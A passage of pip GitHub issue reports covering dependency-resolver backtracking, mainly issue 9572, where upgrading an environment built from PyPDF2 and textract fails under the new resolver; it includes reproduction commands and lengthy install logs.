- if you `pip install st-boto3-lambda` first and run `pip install st-foo` afterwards, there's no backtracking, because the package is already installed and fits all requirements
- if you replace `st-boto3-lambda` with the transient pinned dependencies, i.e. `pip install boto3 == 1.16.31 botocore == 1.19.31 st-foo`, there's no backtracking
- If you actually restrict the version of the stub package (`st-boto3-lambda >= xxxxx`), the backtracking is kept in check, but you'd have to maintain that version, which the whole setup is supposed to avoid
- If you put the versioning for the stub package into a constraints file, the backtracking starts working and takes forever
```
echo 'st-boto3-lambda >= xxxxxx' >constraints.txt
pip install -c constraints.txt st-boto3-lambda st-foo
```

I'm kind of out of options now.

**pip version**
pip 21.0.1


user: ndparker
labels: S: needs triage: Issues/PRs that need to be triaged
issue_9572: state: open
title: Upgrading an environment started from 2 base packages fails (only) with new resolver
body: TLDR:
```
pip install --upgrade argcomplete beautifulsoup4 chardet docx2txt EbookLib extract-msg IMAPClient lxml olefile pdfminer.six Pillow pip pycryptodome PyPDF2 python-pptx pytz setuptools six sortedcontainers soupsieve SpeechRecognition textract tzlocal xlrd XlsxWriter
```
fails while trying to install very old packages although newer packages are available. The command above is obtained from installing just two packages and then trying to upgrade all installed packages.


* Clean environment and update pip (I tried 20.2.3, 21.0.1, 21.1.dev0):
```
pyenv global 3.8.7
pyenv virtualenv-delete temp
pyenv virtualenv temp
pyenv global temp
# pip install --upgrade pip
# python -m pip install -U "pip @ https://github.com/pypa/pip/archive/master.zip"
```

* Initialize environment and verify it's consistent
```
pip install PyPDF2 textract
pip install PyPDF2 textract | sort
```
gives (for all pip versions I tested):
```
...
Requirement already satisfied: argcomplete==1.10.0 in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (from textract) (1.10.0)
Requirement already satisfied: beautifulsoup4==4.8.0 in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (from textract) (4.8.0)
Requirement already satisfied: chardet==3.0.4 in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (from textract) (3.0.4)
Requirement already satisfied: docx2txt==0.8 in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (from textract) (0.8)
Requirement already satisfied: EbookLib==0.17.1 in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (from textract) (0.17.1)
Requirement already satisfied: extract-msg==0.23.1 in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (from textract) (0.23.1)
Requirement already satisfied: imapclient==2.1.0 in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (from extract-msg==0.23.1->textract) (2.1.0)
Requirement already satisfied: lxml in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (from EbookLib==0.17.1->textract) (4.6.2)
Requirement already satisfied: olefile==0.46 in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (from extract-msg==0.23.1->textract) (0.46)
Requirement already satisfied: pdfminer.six==20181108 in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (from textract) (20181108)
Requirement already satisfied: Pillow>=3.3.2 in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (from python-pptx==0.6.18->textract) (8.1.0)
Requirement already satisfied: pycryptodome in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (from pdfminer.six==20181108->textract) (3.9.9)
Requirement already satisfied: PyPDF2 in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (1.26.0)
Requirement already satisfied: python-pptx==0.6.18 in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (from textract) (0.6.18)
Requirement already satisfied: pytz in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (from tzlocal==1.5.1->extract-msg==0.23.1->textract) (2021.1)
Requirement already satisfied: six==1.12.0 in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (from textract) (1.12.0)
Requirement already satisfied: sortedcontainers in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (from pdfminer.six==20181108->textract) (2.3.0)
Requirement already satisfied: soupsieve>=1.2 in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (from beautifulsoup4==4.8.0->textract) (2.1)
Requirement already satisfied: SpeechRecognition==3.8.1 in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (from textract) (3.8.1)
Requirement already satisfied: textract in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (1.6.3)
Requirement already satisfied: tzlocal==1.5.1 in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (from extract-msg==0.23.1->textract) (1.5.1)
Requirement already satisfied: xlrd==1.2.0 in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (from textract) (1.2.0)
Requirement already satisfied: XlsxWriter>=0.5.7 in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (from python-pptx==0.6.18->textract) (1.3.7)
```

Some time later, I try to upgrade my installation. I usually do this because pip is not yet able to consider installed packages:
```
pip list --format freeze | sed 's/==.*//' | xargs --no-run-if-empty echo pip install --upgrade
```
which gives (again, for all versions)
```
pip install --upgrade argcomplete beautifulsoup4 chardet docx2txt EbookLib extract-msg IMAPClient lxml olefile pdfminer.six Pillow pip pycryptodome PyPDF2 python-pptx pytz setuptools six sortedcontainers soupsieve SpeechRecognition textract tzlocal xlrd XlsxWriter
```

Running this command with pip 20.2.3 works, although it's ends up with an incompatible state:
<details>

```
Collecting argcompleteiter
  Using cached argcomplete-1.12.2-py2.py3-none-any.whl (38 kB)
Collecting beautifulsoup4
  Using cached beautifulsoup4-4.9.3-py3-none-any.whl (115 kB)
Collecting chardet
  Using cached chardet-4.0.0-py2.py3-none-any.whl (178 kB)
Requirement already up-to-date: docx2txt in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (0.8)
Requirement already up-to-date: EbookLib in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (0.17.1)
Collecting extract-msg
  Using cached extract_msg-0.28.1-py2.py3-none-any.whl (67 kB)
Collecting IMAPClient
  Using cached IMAPClient-2.2.0-py2.py3-none-any.whl (179 kB)
Requirement already up-to-date: lxml in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (4.6.2)
Requirement already up-to-date: olefile in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (0.46)
Collecting pdfminer.six
  Using cached pdfminer.six-20201018-py3-none-any.whl (5.6 MB)
Requirement already up-to-date: Pillow in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (8.1.0)
Collecting pip
  Using cached pip-21.0.1-py3-none-any.whl (1.5 MB)
Requirement already up-to-date: pycryptodome in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (3.9.9)
Requirement already up-to-date: PyPDF2 in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (1.26.0)
Requirement already up-to-date: python-pptx in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (0.6.18)
Requirement already up-to-date: pytz in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (2021.1)
Collecting setuptools
  Using cached setuptools-53.0.0-py3-none-any.whl (784 kB)
Collecting six
  Using cached six-1.15.0-py2.py3-none-any.whl (10 kB)
Requirement already up-to-date: sortedcontainers in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (2.3.0)
Requirement already up-to-date: soupsieve in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (2.1)
Requirement already up-to-date: SpeechRecognition in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (3.8.1)
Requirement already up-to-date: textract in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (1.6.3)
Collecting tzlocal
  Using cached tzlocal-2.1-py2.py3-none-any.whl (16 kB)
Collecting xlrd
  Using cached xlrd-2.0.1-py2.py3-none-any.whl (96 kB)
Requirement already up-to-date: XlsxWriter in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (1.3.7)
Collecting compressed-rtf>=1.0.6
  Using cached compressed_rtf-1.0.6.tar.gz (5.8 kB)
Collecting ebcdic>=1.1.1
  Using cached ebcdic-1.1.1-py2.py3-none-any.whl (128 kB)
Collecting cryptography
  Using cached cryptography-3.4.3-cp36-abi3-manylinux2014_x86_64.whl (3.2 MB)
Collecting cffi>=1.12
  Using cached cffi-1.14.4-cp38-cp38-manylinux1_x86_64.whl (411 kB)
Collecting pycparser
  Using cached pycparser-2.20-py2.py3-none-any.whl (112 kB)
Using legacy 'setup.py install' for compressed-rtf, since package 'wheel' is not installed.
Installing collected packages: argcomplete, beautifulsoup4, chardet, tzlocal, six, IMAPClient, compressed-rtf, ebcdic, extract-msg, pycparser, cffi, cryptography, pdfminer.six, pip, setuptools, xlrd
  Attempting uninstall: argcomplete
    Found existing installation: argcomplete 1.10.0
    Uninstalling argcomplete-1.10.0:
      Successfully uninstalled argcomplete-1.10.0
  Attempting uninstall: beautifulsoup4
    Found existing installation: beautifulsoup4 4.8.0
    Uninstalling beautifulsoup4-4.8.0:
      Successfully uninstalled beautifulsoup4-4.8.0
  Attempting uninstall: chardet
    Found existing installation: chardet 3.0.4
    Uninstalling chardet-3.0.4:
      Successfully uninstalled chardet-3.0.4
  Attempting uninstall: tzlocal
    Found existing installation: tzlocal 1.5.1
    Uninstalling tzlocal-1.5.1:
      Successfully uninstalled tzlocal-1.5.1
  Attempting uninstall: six
    Found existing installation: six 1.12.0
    Uninstalling six-1.12.0:
      Successfully uninstalled six-1.12.0
  Attempting uninstall: IMAPClient
    Found existing installation: IMAPClient 2.1.0
    Uninstalling IMAPClient-2.1.0:
      Successfully uninstalled IMAPClient-2.1.0
    Running setup.py install for compressed-rtf ... done
  Attempting uninstall: extract-msg
    Found existing installation: extract-msg 0.23.1
    Uninstalling extract-msg-0.23.1:
      Successfully uninstalled extract-msg-0.23.1
  Attempting uninstall: pdfminer.six
    Found existing installation: pdfminer.six 20181108
    Uninstalling pdfminer.six-20181108:
      Successfully uninstalled pdfminer.six-20181108
  Attempting uninstall: pip
    Found existing installation: pip 20.2.3
    Uninstalling pip-20.2.3:
      Successfully uninstalled pip-20.2.3
  Attempting uninstall: setuptools
    Found existing installation: setuptools 49.2.1
    Uninstalling setuptools-49.2.1:
      Successfully uninstalled setuptools-49.2.1
  Attempting uninstall: xlrd
    Found existing installation: xlrd 1.2.0
    Uninstalling xlrd-1.2.0:
      Successfully uninstalled xlrd-1.2.0
ERROR: After October 2020 you may experience errors when installing or updating packages. This is because pip will change the way that it resolves dependency conflicts.

We recommend you use --use-feature=2020-resolver to test your packages with the new resolver before it becomes the default.

textract 1.6.3 requires argcomplete==1.10.0, but you'll have argcomplete 1.12.2 which is incompatible.
textract 1.6.3 requires beautifulsoup4==4.8.0, but you'll have beautifulsoup4 4.9.3 which is incompatible.
textract 1.6.3 requires chardet==3.0.4, but you'll have chardet 4.0.0 which is incompatible.
textract 1.6.3 requires extract-msg==0.23.1, but you'll have extract-msg 0.28.1 which is incompatible.
textract 1.6.3 requires pdfminer.six==20181108, but you'll have pdfminer-six 20201018 which is incompatible.
textract 1.6.3 requires six==1.12.0, but you'll have six 1.15.0 which is incompatible.
textract 1.6.3 requires xlrd==1.2.0, but you'll have xlrd 2.0.1 which is incompatible.
extract-msg 0.28.1 requires imapclient==2.1.0, but you'll have imapclient 2.2.0 which is incompatible.
Successfully installed IMAPClient-2.2.0 argcomplete-1.12.2 beautifulsoup4-4.9.3 cffi-1.14.4 chardet-4.0.0 compressed-rtf-1.0.6 cryptography-3.4.3 ebcdic-1.1.1 extract-msg-0.28.1 pdfminer.six-20201018 pip-21.0.1 pycparser-2.20 setuptools-53.0.0 six-1.15.0 tzlocal-2.1 xlrd-2.0.1
```

</details>

While running it with 21.0.1 and today's 21.1.dev0 gives this:

<details>

```
Requirement already satisfied: argcomplete in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (1.10.0)
Collecting argcomplete
  Using cached argcomplete-1.12.2-py2.py3-none-any.whl (38 kB)
Requirement already satisfied: beautifulsoup4 in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (4.8.0)
Collecting beautifulsoup4
  Using cached beautifulsoup4-4.9.3-py3-none-any.whl (115 kB)
Requirement already satisfied: chardet in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (3.0.4)
Collecting chardet
  Using cached chardet-4.0.0-py2.py3-none-any.whl (178 kB)
Requirement already satisfied: docx2txt in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (0.8)
Requirement already satisfied: EbookLib in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (0.17.1)
Requirement already satisfied: extract-msg in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (0.23.1)
Collecting extract-msg
  Using cached extract_msg-0.28.1-py2.py3-none-any.whl (67 kB)
Requirement already satisfied: IMAPClient in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (2.1.0)
Collecting IMAPClient
  Using cached IMAPClient-2.2.0-py2.py3-none-any.whl (179 kB)
Requirement already satisfied: lxml in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (4.6.2)
Requirement already satisfied: olefile in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (0.46)
Requirement already satisfied: pdfminer.six in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (20181108)
Collecting pdfminer.six
  Using cached pdfminer.six-20201018-py3-none-any.whl (5.6 MB)
Requirement already satisfied: Pillow in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (8.1.0)
Requirement already satisfied: pip in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (21.0.1)
Requirement already satisfied: pycryptodome in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (3.9.9)
Requirement already satisfied: PyPDF2 in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (1.26.0)
Requirement already satisfied: python-pptx in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (0.6.18)
Requirement already satisfied: pytz in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (2021.1)
Requirement already satisfied: setuptools in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (49.2.1)
Collecting setuptools
  Using cached setuptools-53.0.0-py3-none-any.whl (784 kB)
Requirement already satisfied: six in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (1.12.0)
Collecting six
  Using cached six-1.15.0-py2.py3-none-any.whl (10 kB)
Requirement already satisfied: sortedcontainers in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (2.3.0)
Requirement already satisfied: soupsieve in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (2.1)
Requirement already satisfied: SpeechRecognition in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (3.8.1)
Requirement already satisfied: textract in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (1.6.3)
Requirement already satisfied: tzlocal in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (1.5.1)
Collecting tzlocal
  Using cached tzlocal-2.1-py2.py3-none-any.whl (16 kB)
Requirement already satisfied: xlrd in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (1.2.0)
Collecting xlrd
  Using cached xlrd-2.0.1-py2.py3-none-any.whl (96 kB)
Requirement already satisfied: XlsxWriter in /home/bers/.pyenv/versions/3.8.7/envs/temp/lib/python3.8/site-packages (1.3.7)
Collecting compressed-rtf>=1.0.6
  Using cached compressed_rtf-1.0.6.tar.gz (5.8 kB)
Collecting ebcdic>=1.1.1
  Using cached ebcdic-1.1.1-py2.py3-none-any.whl (128 kB)
Collecting cryptography
  Using cached cryptography-3.4.3-cp36-abi3-manylinux2014_x86_64.whl (3.2 MB)
Collecting extract-msg
  Using cached extract_msg-0.23.1-py2.py3-none-any.whl (45 kB)
INFO: pip is looking at multiple versions of chardet to determine which version is compatible with other requirements. This could take a while.
Collecting chardet
  Using cached chardet-3.0.4-py2.py3-none-any.whl (133 kB)
INFO: pip is looking at multiple versions of beautifulsoup4 to determine which version is compatible with other requirements. This could take a while.
Collecting beautifulsoup4
  Using cached beautifulsoup4-4.8.0-py3-none-any.whl (97 kB)
INFO: pip is looking at multiple versions of argcomplete to determine which version is compatible with other requirements. This could take a while.
Collecting argcomplete
  Using cached argcomplete-1.10.0-py2.py3-none-any.whl (31 kB)
INFO: pip is looking at multiple versions of chardet to determine which version is compatible with other requirements. This could take a while.
INFO: pip is looking at multiple versions of textract to determine which version is compatible with other requirements. This could take a while.
Collecting textract
  Using cached textract-1.6.3-py3-none-any.whl (21 kB)
  Using cached textract-1.6.1.tar.gz (16 kB)
  Using cached textract-1.6.0.tar.gz (15 kB)
  Using cached textract-1.5.0.tar.gz (15 kB)
  Using cached textract-1.4.0.tar.gz (14 kB)
  Using cached textract-1.3.0.tar.gz (14 kB)
  Using cached textract-1.2.0.tar.gz (14 kB)
  Using cached textract-1.1.0.tar.gz (13 kB)
  Using cached textract-1.0.0.tar.gz (10 kB)
  Using cached textract-0.5.1.tar.gz (8.2 kB)
    ERROR: Command errored out with exit status 1:
     command: /home/bers/.pyenv/versions/3.8.7/envs/temp/bin/python3.8 -c 'import sys, setuptools, tokenize; sys.argv[0] = '"'"'/tmp/pip-install-lsnp_upz/textract_8fcc0673a09547c3918058b34b3ed75d/setup.py'"'"'; __file__='"'"'/tmp/pip-install-lsnp_upz/textract_8fcc0673a09547c3918058b34b3ed75d/setup.py'"'"';f=getattr(tokenize, '"'"'open'"'"', open)(__file__);code=f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' egg_info --egg-base /tmp/pip-pip-egg-info-0y_ixjn6
         cwd: /tmp/pip-install-lsnp_upz/textract_8fcc0673a09547c3918058b34b3ed75d/
    Complete output (10 lines):
    Traceback (most recent call last):
      File "<string>", line 1, in <module>
      File "/tmp/pip-install-lsnp_upz/textract_8fcc0673a09547c3918058b34b3ed75d/setup.py", line 5, in <module>
        import textract
      File "/tmp/pip-install-lsnp_upz/textract_8fcc0673a09547c3918058b34b3ed75d/textract/__init__.py", line 3, in <module>
        from .parsers import process
      File "/tmp/pip-install-lsnp_upz/textract_8fcc0673a09547c3918058b34b3ed75d/textract/parsers/__init__.py", line 37
        except ImportError, e:
                          ^
    SyntaxError: invalid syntax
    ----------------------------------------
WARNING: Discarding https://files.pythonhosted.org/packages/bd/84/a3919f562f7aaec51a2b115ed11e8bf442dee1a9b421633ceee5fe1963ca/textract-0.5.1.tar.gz#sha256=75a4ec51ad10642f73e13137f90efa2fd944f84a7c32285b53448ea2cf7d04d1 (from https://pypi.org/simple/textract/). Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.
  Using cached textract-0.5.0.tar.gz (8.0 kB)
    ERROR: Command errored out with exit status 1:
     command: /home/bers/.pyenv/versions/3.8.7/envs/temp/bin/python3.8 -c 'import sys, setuptools, tokenize; sys.argv[0] = '"'"'/tmp/pip-install-lsnp_upz/textract_bf4be8b1cbd245fca075420cce8cbe0a/setup.py'"'"'; __file__='"'"'/tmp/pip-install-lsnp_upz/textract_bf4be8b1cbd245fca075420cce8cbe0a/setup.py'"'"';f=getattr(tokenize, '"'"'open'"'"', open)(__file__);code=f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' egg_info --egg-base /tmp/pip-pip-egg-info-yvopnmve
         cwd: /tmp/pip-install-lsnp_upz/textract_bf4be8b1cbd245fca075420cce8cbe0a/
    Complete output (10 lines):
    Traceback (most recent call last):
      File "<string>", line 1, in <module>
      File "/tmp/pip-install-lsnp_upz/textract_bf4be8b1cbd245fca075420cce8cbe0a/setup.py", line 5, in <module>
        import textract
      File "/tmp/pip-install-lsnp_upz/textract_bf4be8b1cbd245fca075420cce8cbe0a/textract/__init__.py", line 3, in <module>
        from .parsers import process
      File "/tmp/pip-install-lsnp_upz/textract_bf4be8b1cbd245fca075420cce8cbe0a/textract/parsers/__init__.py", line 37
        except ImportError, e:
                          ^
    SyntaxError: invalid syntax
    ----------------------------------------
WARNING: Discarding https://files.pythonhosted.org/packages/8c/2f/e1e716a320afc3cf9ec1d3df47fdf8e43ed465faa0e09b9c87ccb9917a3d/textract-0.5.0.tar.gz#sha256=d155c29d10968b2e4fdcc23cae016b25b7f8b41b43d2dcdc1d49c108b92aaceb (from https://pypi.org/simple/textract/). Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.
  Using cached textract-0.4.0.tar.gz (6.2 kB)
    ERROR: Command errored out with exit status 1:
     command: /home/bers/.pyenv/versions/3.8.7/envs/temp/bin/python3.8 -c 'import sys, setuptools, tokenize; sys.argv[0] = '"'"'/tmp/pip-install-lsnp_upz/textract_71dbd6c7f1cd41bcadfa63ef6828283e/setup.py'"'"'; __file__='"'"'/tmp/pip-install-lsnp_upz/textract_71dbd6c7f1cd41bcadfa63ef6828283e/setup.py'"'"';f=getattr(tokenize, '"'"'open'"'"', open)(__file__);code=f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' egg_info --egg-base /tmp/pip-pip-egg-info-fxp3v6wl
         cwd: /tmp/pip-install-lsnp_upz/textract_71dbd6c7f1cd41bcadfa63ef6828283e/
    Complete output (10 lines):
    Traceback (most recent call last):
      File "<string>", line 1, in <module>
      File "/tmp/pip-install-lsnp_upz/textract_71dbd6c7f1cd41bcadfa63ef6828283e/setup.py", line 5, in <module>
        import textract
      File "/tmp/pip-install-lsnp_upz/textract_71dbd6c7f1cd41bcadfa63ef6828283e/textract/__init__.py", line 3, in <module>
        from .parsers import process
      File "/tmp/pip-install-lsnp_upz/textract_71dbd6c7f1cd41bcadfa63ef6828283e/textract/parsers/__init__.py", line 23
        except ImportError, e:
                          ^
    SyntaxError: invalid syntax
    ----------------------------------------
WARNING: Discarding https://files.pythonhosted.org/packages/d5/db/a76cd92425a9d430916460ac6f5c3178f93e5057e54874bcddec6b19ee4d/textract-0.4.0.tar.gz#sha256=d47e16dc1e1e4c6aa8b1817be5e5ed889aa891fb8844183f0f0834ab2190faf4 (from https://pypi.org/simple/textract/). Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.
  Using cached textract-0.3.0.tar.gz (5.3 kB)
    ERROR: Command errored out with exit status 1:
     command: /home/bers/.pyenv/versions/3.8.7/envs/temp/bin/python3.8 -c 'import sys, setuptools, tokenize; sys.argv[0] = '"'"'/tmp/pip-install-lsnp_upz/textract_256901a546d7417d9a3d2a2063ec8243/setup.py'"'"'; __file__='"'"'/tmp/pip-install-lsnp_upz/textract_256901a546d7417d9a3d2a2063ec8243/setup.py'"'"';f=getattr(tokenize, '"'"'open'"'"', open)(__file__);code=f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' egg_info --egg-base /tmp/pip-pip-egg-info-mav23ufo
         cwd: /tmp/pip-install-lsnp_upz/textract_256901a546d7417d9a3d2a2063ec8243/
    Complete output (10 lines):
    Traceback (most recent call last):
      File "<string>", line 1, in <module>
      File "/tmp/pip-install-lsnp_upz/textract_256901a546d7417d9a3d2a2063ec8243/setup.py", line 5, in <module>
        import textract
      File "/tmp/pip-install-lsnp_upz/textract_256901a546d7417d9a3d2a2063ec8243/textract/__init__.py", line 3, in <module>
        from .parsers import process
      File "/tmp/pip-install-lsnp_upz/textract_256901a546d7417d9a3d2a2063ec8243/textract/parsers/__init__.py", line 23
        except ImportError, e:
                          ^
    SyntaxError: invalid syntax
    ----------------------------------------
WARNING: Discarding https://files.pythonhosted.org/packages/4c/31/32b3bd8c0c42e927d20adbdaf5efcbe33783fa5bbf6120116eaf3f0ba5e9/textract-0.3.0.tar.gz#sha256=18bcdcc9edc187349a324e99626f07893dc2cf48493b92698afbb90e7edfea0f (from https://pypi.org/simple/textract/). Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.
  Using cached textract-0.2.0.tar.gz (4.9 kB)
    ERROR: Command errored out with exit status 1:
     command: /home/bers/.pyenv/versions/3.8.7/envs/temp/bin/python3.8 -c 'import sys, setuptools, tokenize; sys.argv[0] = '"'"'/tmp/pip-install-lsnp_upz/textract_df3ae24382944409a23b98413b96be51/setup.py'"'"'; __file__='"'"'/tmp/pip-install-lsnp_upz/textract_df3ae24382944409a23b98413b96be51/setup.py'"'"';f=getattr(tokenize, '"'"'open'"'"', open)(__file__);code=f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' egg_info --egg-base /tmp/pip-pip-egg-info-bfwj90ze
         cwd: /tmp/pip-install-lsnp_upz/textract_df3ae24382944409a23b98413b96be51/
    Complete output (10 lines):
    Traceback (most recent call last):
      File "<string>", line 1, in <module>
      File "/tmp/pip-install-lsnp_upz/textract_df3ae24382944409a23b98413b96be51/setup.py", line 5, in <module>
        import textract
      File "/tmp/pip-install-lsnp_upz/textract_df3ae24382944409a23b98413b96be51/textract/__init__.py", line 3, in <module>
        from .parsers import process
      File "/tmp/pip-install-lsnp_upz/textract_df3ae24382944409a23b98413b96be51/textract/parsers/__init__.py", line 23
        except ImportError, e:
                          ^
    SyntaxError: invalid syntax
    ----------------------------------------
WARNING: Discarding https://files.pythonhosted.org/packages/0b/1e/65e7d4bf6d9d9edad30fbb3e530fd137f43781a0618e0afde8559583547c/textract-0.2.0.tar.gz#sha256=c59da8e65100de20295ac623015f33c60f1d6dcfb4964058b344f7788b96d63a (from https://pypi.org/simple/textract/). Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.
  Using cached textract-0.1.0.tar.gz (4.2 kB)
    ERROR: Command errored out with exit status 1:
     command: /home/bers/.pyenv/versions/3.8.7/envs/temp/bin/python3.8 -c 'import sys, setuptools, tokenize; sys.argv[0] = '"'"'/tmp/pip-install-lsnp_upz/textract_3050e9b390754aa281abec241d5a419f/setup.py'"'"'; __file__='"'"'/tmp/pip-install-lsnp_upz/textract_3050e9b390754aa281abec241d5a419f/setup.py'"'"';f=getattr(tokenize, '"'"'open'"'"', open)(__file__);code=f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' egg_info --egg-base /tmp/pip-pip-egg-info-y27443qe
         cwd: /tmp/pip-install-lsnp_upz/textract_3050e9b390754aa281abec241d5a419f/
    Complete output (10 lines):
    Traceback (most recent call last):
      File "<string>", line 1, in <module>
      File "/tmp/pip-install-lsnp_upz/textract_3050e9b390754aa281abec241d5a419f/setup.py", line 5, in <module>
        import textract
      File "/tmp/pip-install-lsnp_upz/textract_3050e9b390754aa281abec241d5a419f/textract/__init__.py", line 3, in <module>
        from .parsers import process
      File "/tmp/pip-install-lsnp_upz/textract_3050e9b390754aa281abec241d5a419f/textract/parsers/__init__.py", line 23
        except ImportError, e:
                          ^
    SyntaxError: invalid syntax
    ----------------------------------------
WARNING: Discarding https://files.pythonhosted.org/packages/e6/1e/fe23e5771b7ac47671c23e70652c98dd7dce1cb1249d7fa2962ebadfadf9/textract-0.1.0.tar.gz#sha256=bee3b4c852b0641761681198558057cee2a8f779e6cd3507b62d20f181d4417f (from https://pypi.org/simple/textract/). Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.
INFO: This is taking longer than usual. You might need to provide the dependency resolver with stricter constraints to reduce runtime. If you want to abort this run, you can press Ctrl + C to do so. To improve how pip performs, tell us what happened here: https://pip.pypa.io/surveys/backtracking
INFO: pip is looking at multiple versions of beautifulsoup4 to determine which version is compatible with other requirements. This could take a while.
Collecting argcomplete
  Using cached argcomplete-1.8.2-py2.py3-none-any.whl (34 kB)
Collecting chardet
  Using cached chardet-2.3.0-py2.py3-none-any.whl (180 kB)
Collecting python-pptx
  Using cached python-pptx-0.6.5.tar.gz (7.1 MB)
Collecting docx2txt
  Using cached docx2txt-0.6.tar.gz (2.1 kB)
Collecting beautifulsoup4
  Using cached beautifulsoup4-4.5.3-py3-none-any.whl (85 kB)
Collecting xlrd
  Using cached xlrd-1.0.0-py3-none-any.whl (143 kB)
Collecting EbookLib
  Using cached EbookLib-0.15.tar.gz (29 kB)
Collecting SpeechRecognition
  Using cached SpeechRecognition-3.6.3-py2.py3-none-any.whl (31.8 MB)
Collecting six
  Using cached six-1.10.0-py2.py3-none-any.whl (10 kB)
Collecting pocketsphinx==0.1.3
  Using cached pocketsphinx-0.1.3.zip (29.3 MB)
Collecting cffi>=1.12
  Using cached cffi-1.14.4-cp38-cp38-manylinux1_x86_64.whl (411 kB)
Collecting pycparser
  Using cached pycparser-2.20-py2.py3-none-any.whl (112 kB)
Using legacy 'setup.py install' for compressed-rtf, since package 'wheel' is not installed.
Using legacy 'setup.py install' for textract, since package 'wheel' is not installed.
Using legacy 'setup.py install' for docx2txt, since package 'wheel' is not installed.
Using legacy 'setup.py install' for EbookLib, since package 'wheel' is not installed.
